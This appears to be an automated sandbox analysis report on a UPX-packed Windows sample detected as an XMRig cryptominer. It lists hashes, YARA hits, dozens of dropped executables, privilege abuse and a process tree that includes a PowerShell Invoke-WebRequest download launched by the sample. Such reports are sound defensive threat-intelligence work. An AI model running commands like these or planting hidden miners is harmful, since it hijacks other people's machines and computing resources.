xmrig | 500885b22211f48e4252c62db0f0fbf14ea64359ba6bd7b2680ca9ac9205894b

Analysis

max time kernel
150s
max time network
144s
platform
windows7_x64
resource
win7-20231129-en
resource tags

arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
submitted
15/05/2024, 03:04

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
Size

1.6MB
MD5

6bcd5c0dde09304db0d3e00f635aa100
SHA1

b452651657e4b0e3bc151280286835538d828960
SHA256

500885b22211f48e4252c62db0f0fbf14ea64359ba6bd7b2680ca9ac9205894b
SHA512

6805404677a4284849f84be64e9ad54737ec34ce333ad0f07754b61abc6d964ce87a2b50560ac400208acafc467ef8e2cbbf2c5d375ac38f57729aa17cbedc35
SSDEEP

24576:zv3/fTLF671TilQFG4P5PMkFfkeMlN675EgEPgspmBeQxWCLUrUj6:Lz071uv4BPMkFfdg6NsIRsUe

Score

10^/10

xmrig execution miner upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 14 IoCs

miner

resource	yara_rule
behavioral1/memory/3008-70-0x000000013F510000-0x000000013F902000-memory.dmp	xmrig
behavioral1/memory/2572-115-0x000000013FB50000-0x000000013FF42000-memory.dmp	xmrig
behavioral1/memory/2916-56-0x000000013F6B0000-0x000000013FAA2000-memory.dmp	xmrig
behavioral1/memory/2576-95-0x000000013F700000-0x000000013FAF2000-memory.dmp	xmrig
behavioral1/memory/1704-84-0x000000013F2C0000-0x000000013F6B2000-memory.dmp	xmrig
behavioral1/memory/2652-113-0x000000013FCE0000-0x00000001400D2000-memory.dmp	xmrig
behavioral1/memory/2848-111-0x000000013F880000-0x000000013FC72000-memory.dmp	xmrig
behavioral1/memory/2576-5670-0x000000013F700000-0x000000013FAF2000-memory.dmp	xmrig
behavioral1/memory/2652-5674-0x000000013FCE0000-0x00000001400D2000-memory.dmp	xmrig
behavioral1/memory/1704-5673-0x000000013F2C0000-0x000000013F6B2000-memory.dmp	xmrig
behavioral1/memory/3008-5819-0x000000013F510000-0x000000013F902000-memory.dmp	xmrig
behavioral1/memory/2572-5821-0x000000013FB50000-0x000000013FF42000-memory.dmp	xmrig
behavioral1/memory/2916-5820-0x000000013F6B0000-0x000000013FAA2000-memory.dmp	xmrig
behavioral1/memory/2352-13110-0x000000013F040000-0x000000013F432000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
2528	powershell.exe

Executes dropped EXE 64 IoCs

pid	Process
2916	fNbVgDg.exe
3008	NEwwuld.exe
1704	wUwzYpO.exe
2652	VwFpmpl.exe
2576	LHmOjJd.exe
2572	KFXpWzs.exe
2848	fOrGlgv.exe
2476	OaZUKZA.exe
2692	bwsNyFF.exe
2568	HvYwKdc.exe
2668	YQEbmQc.exe
2708	emvmYcb.exe
2120	bGAjsFQ.exe
2800	hgeudMm.exe
2620	dqXzxzp.exe
2464	oSmLzbX.exe
1484	PIUkcOm.exe
2772	gHYGRmC.exe
2000	fwTLRln.exe
1656	TKpdDmk.exe
2296	hAOHUcp.exe
2016	uEbDAfD.exe
1684	aarbFfH.exe
2056	AXrEzht.exe
1916	NIebELs.exe
1624	jJphpSR.exe
2332	pCobjDc.exe
2516	YGVayIg.exe
2336	CEXQLaB.exe
1488	AKyCioN.exe
1660	ZNvNiRY.exe
3040	DGGCcfH.exe
1192	jHjtpzX.exe
2052	ZydorSx.exe
776	mtGYwNV.exe
836	GOmRpGq.exe
2084	UROEDPO.exe
1416	cqAAKRo.exe
1648	XacbIBL.exe
2992	htWGvwZ.exe
588	FtEXlUA.exe
2396	BYECBEY.exe
2220	VpkBkbE.exe
2856	ndqVhhy.exe
2096	aMYTYLX.exe
1016	sarUFEr.exe
2872	HYGEezF.exe
1136	wvEICgr.exe
880	MiePhZd.exe
2200	CHhkDnQ.exe
1608	jxJXHrS.exe
2980	TfajceV.exe
2604	FzUJtDG.exe
2608	aBbXfYa.exe
1908	BXvOwvY.exe
1652	UAgtske.exe
2836	phZcqFW.exe
452	qqbZbQs.exe
1556	MMpqxGM.exe
2736	uSjiRAO.exe
1936	lHdcoPc.exe
1776	IFbHBRL.exe
1108	vSPtFbR.exe
1036	BUHlSoX.exe

Loads dropped DLL 64 IoCs

pid	Process
2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe

UPX packed file 51 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/2352-1-0x000000013F040000-0x000000013F432000-memory.dmp	upx
behavioral1/files/0x000a0000000126e1-6.dat	upx
behavioral1/files/0x00090000000133b9-10.dat	upx
behavioral1/files/0x000a00000001329e-15.dat	upx
behavioral1/files/0x000800000001342b-12.dat	upx
behavioral1/files/0x0008000000013928-20.dat	upx
behavioral1/files/0x0009000000013a11-31.dat	upx
behavioral1/files/0x00060000000142b0-69.dat	upx
behavioral1/files/0x00060000000141a2-45.dat	upx
behavioral1/memory/3008-70-0x000000013F510000-0x000000013F902000-memory.dmp	upx
behavioral1/files/0x00060000000143ec-98.dat	upx
behavioral1/memory/2572-115-0x000000013FB50000-0x000000013FF42000-memory.dmp	upx
behavioral1/files/0x0006000000014667-123.dat	upx
behavioral1/files/0x00060000000146b8-133.dat	upx
behavioral1/files/0x00060000000149f5-148.dat	upx
behavioral1/memory/2916-56-0x000000013F6B0000-0x000000013FAA2000-memory.dmp	upx
behavioral1/files/0x00060000000146c0-137.dat	upx
behavioral1/files/0x000600000001448a-187.dat	upx
behavioral1/files/0x0006000000014de9-181.dat	upx
behavioral1/files/0x0006000000014ef8-178.dat	upx
behavioral1/files/0x0006000000014b70-171.dat	upx
behavioral1/files/0x0006000000014390-166.dat	upx
behavioral1/files/0x0006000000014b31-161.dat	upx
behavioral1/files/0x0006000000014abe-153.dat	upx
behavioral1/files/0x00060000000147ea-144.dat	upx
behavioral1/files/0x0006000000014825-143.dat	upx
behavioral1/files/0x00060000000146a2-129.dat	upx
behavioral1/files/0x0006000000014539-120.dat	upx
behavioral1/files/0x00060000000141e6-104.dat	upx
behavioral1/memory/2576-95-0x000000013F700000-0x000000013FAF2000-memory.dmp	upx
behavioral1/files/0x0008000000013a71-86.dat	upx
behavioral1/files/0x0006000000014316-85.dat	upx
behavioral1/memory/1704-84-0x000000013F2C0000-0x000000013F6B2000-memory.dmp	upx
behavioral1/files/0x000b0000000139b4-75.dat	upx
behavioral1/files/0x000a0000000139e0-64.dat	upx
behavioral1/files/0x00060000000142c4-60.dat	upx
behavioral1/files/0x000a0000000133a8-169.dat	upx
behavioral1/files/0x0006000000014af6-159.dat	upx
behavioral1/files/0x00060000000144ac-118.dat	upx
behavioral1/memory/2652-113-0x000000013FCE0000-0x00000001400D2000-memory.dmp	upx
behavioral1/memory/2848-111-0x000000013F880000-0x000000013FC72000-memory.dmp	upx
behavioral1/files/0x00060000000141c0-68.dat	upx
behavioral1/files/0x0007000000014120-67.dat	upx
behavioral1/files/0x000a000000013a21-66.dat	upx
behavioral1/memory/2576-5670-0x000000013F700000-0x000000013FAF2000-memory.dmp	upx
behavioral1/memory/2652-5674-0x000000013FCE0000-0x00000001400D2000-memory.dmp	upx
behavioral1/memory/1704-5673-0x000000013F2C0000-0x000000013F6B2000-memory.dmp	upx
behavioral1/memory/3008-5819-0x000000013F510000-0x000000013F902000-memory.dmp	upx
behavioral1/memory/2572-5821-0x000000013FB50000-0x000000013FF42000-memory.dmp	upx
behavioral1/memory/2916-5820-0x000000013F6B0000-0x000000013FAA2000-memory.dmp	upx
behavioral1/memory/2352-13110-0x000000013F040000-0x000000013F432000-memory.dmp	upx

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\System\GWPYyOx.exe	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
File created	C:\Windows\System\SbRSvWL.exe	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
File created	C:\Windows\System\tYLFzot.exe	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
File created	C:\Windows\System\YzQmRlc.exe	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
File created	C:\Windows\System\JOgFwOy.exe	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
File created	C:\Windows\System\HpTNRSV.exe	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
File created	C:\Windows\System\bRGxDfK.exe	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
File created	C:\Windows\System\LGNFtKL.exe	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
File created	C:\Windows\System\BtVQOjE.exe	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
File created	C:\Windows\System\jiMrdeF.exe	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
File created	C:\Windows\System\kVVIyNu.exe	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
File created	C:\Windows\System\BkTjuLt.exe	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
File created	C:\Windows\System\unYKeTT.exe	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
File created	C:\Windows\System\YVBEgLl.exe	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
File created	C:\Windows\System\TChLaNj.exe	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
File created	C:\Windows\System\ESUlxSy.exe	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
File created	C:\Windows\System\QmDbvCV.exe	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
File created	C:\Windows\System\wAlGgMv.exe	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
File created	C:\Windows\System\rWrcvER.exe	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
File created	C:\Windows\System\QkZxZod.exe	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
File created	C:\Windows\System\eGYTGno.exe	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
File created	C:\Windows\System\BawfNPY.exe	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
File created	C:\Windows\System\arQlEvO.exe	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
File created	C:\Windows\System\kHzALfg.exe	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
File created	C:\Windows\System\gXLodny.exe	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
File created	C:\Windows\System\thRrslq.exe	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
File created	C:\Windows\System\uYAKdwI.exe	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
File created	C:\Windows\System\CcCMkhr.exe	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
File created	C:\Windows\System\kjLvoBk.exe	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
File created	C:\Windows\System\ULoPuVk.exe	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
File created	C:\Windows\System\HAEwBWR.exe	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
File created	C:\Windows\System\mcQhglE.exe	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
File created	C:\Windows\System\QuCTVMG.exe	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
File created	C:\Windows\System\FAoOYDm.exe	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
File created	C:\Windows\System\oWhBKrn.exe	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
File created	C:\Windows\System\BwAICCg.exe	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
File created	C:\Windows\System\MaPQreZ.exe	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
File created	C:\Windows\System\CsteDdx.exe	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
File created	C:\Windows\System\RauvreI.exe	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
File created	C:\Windows\System\xfupVdr.exe	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
File created	C:\Windows\System\FJnaclB.exe	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
File created	C:\Windows\System\qGwjXKZ.exe	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
File created	C:\Windows\System\mAWfmYt.exe	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
File created	C:\Windows\System\FugoAxE.exe	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
File created	C:\Windows\System\KLBaqNK.exe	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
File created	C:\Windows\System\XlVTczH.exe	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
File created	C:\Windows\System\hCkderk.exe	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
File created	C:\Windows\System\oBREWhP.exe	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
File created	C:\Windows\System\VpRtTVC.exe	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
File created	C:\Windows\System\ycfDWrX.exe	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
File created	C:\Windows\System\UhEZtWD.exe	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
File created	C:\Windows\System\MVDSRNB.exe	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
File created	C:\Windows\System\YTezTlu.exe	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
File created	C:\Windows\System\KXmHeBj.exe	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
File created	C:\Windows\System\QksIVge.exe	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
File created	C:\Windows\System\KrOTulx.exe	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
File created	C:\Windows\System\WaQwiwh.exe	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
File created	C:\Windows\System\WYGVkWk.exe	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
File created	C:\Windows\System\PcjFAqY.exe	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
File created	C:\Windows\System\otyYxVh.exe	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
File created	C:\Windows\System\xqxrJFr.exe	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
File created	C:\Windows\System\Uffhneg.exe	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
File created	C:\Windows\System\RIygNHy.exe	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
File created	C:\Windows\System\oOqcaWF.exe	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2528	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
Token: SeLockMemoryPrivilege	2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
Token: SeDebugPrivilege	2528	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2352 wrote to memory of 2528	2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe	29
PID 2352 wrote to memory of 2528	2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe	29
PID 2352 wrote to memory of 2528	2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe	29
PID 2352 wrote to memory of 2916	2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe	30
PID 2352 wrote to memory of 2916	2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe	30
PID 2352 wrote to memory of 2916	2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe	30
PID 2352 wrote to memory of 1704	2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe	31
PID 2352 wrote to memory of 1704	2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe	31
PID 2352 wrote to memory of 1704	2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe	31
PID 2352 wrote to memory of 3008	2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe	32
PID 2352 wrote to memory of 3008	2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe	32
PID 2352 wrote to memory of 3008	2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe	32
PID 2352 wrote to memory of 2576	2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe	33
PID 2352 wrote to memory of 2576	2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe	33
PID 2352 wrote to memory of 2576	2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe	33
PID 2352 wrote to memory of 2652	2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe	34
PID 2352 wrote to memory of 2652	2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe	34
PID 2352 wrote to memory of 2652	2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe	34
PID 2352 wrote to memory of 2668	2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe	35
PID 2352 wrote to memory of 2668	2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe	35
PID 2352 wrote to memory of 2668	2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe	35
PID 2352 wrote to memory of 2572	2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe	36
PID 2352 wrote to memory of 2572	2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe	36
PID 2352 wrote to memory of 2572	2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe	36
PID 2352 wrote to memory of 2708	2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe	37
PID 2352 wrote to memory of 2708	2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe	37
PID 2352 wrote to memory of 2708	2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe	37
PID 2352 wrote to memory of 2848	2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe	38
PID 2352 wrote to memory of 2848	2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe	38
PID 2352 wrote to memory of 2848	2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe	38
PID 2352 wrote to memory of 2800	2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe	39
PID 2352 wrote to memory of 2800	2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe	39
PID 2352 wrote to memory of 2800	2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe	39
PID 2352 wrote to memory of 2476	2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe	40
PID 2352 wrote to memory of 2476	2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe	40
PID 2352 wrote to memory of 2476	2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe	40
PID 2352 wrote to memory of 2620	2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe	41
PID 2352 wrote to memory of 2620	2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe	41
PID 2352 wrote to memory of 2620	2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe	41
PID 2352 wrote to memory of 2692	2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe	42
PID 2352 wrote to memory of 2692	2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe	42
PID 2352 wrote to memory of 2692	2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe	42
PID 2352 wrote to memory of 2464	2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe	43
PID 2352 wrote to memory of 2464	2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe	43
PID 2352 wrote to memory of 2464	2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe	43
PID 2352 wrote to memory of 2568	2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe	44
PID 2352 wrote to memory of 2568	2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe	44
PID 2352 wrote to memory of 2568	2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe	44
PID 2352 wrote to memory of 2772	2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe	45
PID 2352 wrote to memory of 2772	2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe	45
PID 2352 wrote to memory of 2772	2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe	45
PID 2352 wrote to memory of 2120	2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe	46
PID 2352 wrote to memory of 2120	2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe	46
PID 2352 wrote to memory of 2120	2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe	46
PID 2352 wrote to memory of 1916	2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe	47
PID 2352 wrote to memory of 1916	2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe	47
PID 2352 wrote to memory of 1916	2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe	47
PID 2352 wrote to memory of 1484	2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe	48
PID 2352 wrote to memory of 1484	2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe	48
PID 2352 wrote to memory of 1484	2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe	48
PID 2352 wrote to memory of 2516	2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe	49
PID 2352 wrote to memory of 2516	2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe	49
PID 2352 wrote to memory of 2516	2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe	49
PID 2352 wrote to memory of 2000	2352	6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe	50

C:\Users\Admin\AppData\Local\Temp\6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe
"C:\Users\Admin\AppData\Local\Temp\6bcd5c0dde09304db0d3e00f635aa100_NeikiAnalytics.exe"
1⤵
- Loads dropped DLL
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2352
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2528
- C:\Windows\System\fNbVgDg.exe
  C:\Windows\System\fNbVgDg.exe
  2⤵
  - Executes dropped EXE
  PID:2916
- C:\Windows\System\wUwzYpO.exe
  C:\Windows\System\wUwzYpO.exe
  2⤵
  - Executes dropped EXE
  PID:1704
- C:\Windows\System\NEwwuld.exe
  C:\Windows\System\NEwwuld.exe
  2⤵
  - Executes dropped EXE
  PID:3008
- C:\Windows\System\LHmOjJd.exe
  C:\Windows\System\LHmOjJd.exe
  2⤵
  - Executes dropped EXE
  PID:2576
- C:\Windows\System\VwFpmpl.exe
  C:\Windows\System\VwFpmpl.exe
  2⤵
  - Executes dropped EXE
  PID:2652
- C:\Windows\System\YQEbmQc.exe
  C:\Windows\System\YQEbmQc.exe
  2⤵
  - Executes dropped EXE
  PID:2668
- C:\Windows\System\KFXpWzs.exe
  C:\Windows\System\KFXpWzs.exe
  2⤵
  - Executes dropped EXE
  PID:2572
- C:\Windows\System\emvmYcb.exe
  C:\Windows\System\emvmYcb.exe
  2⤵
  - Executes dropped EXE
  PID:2708
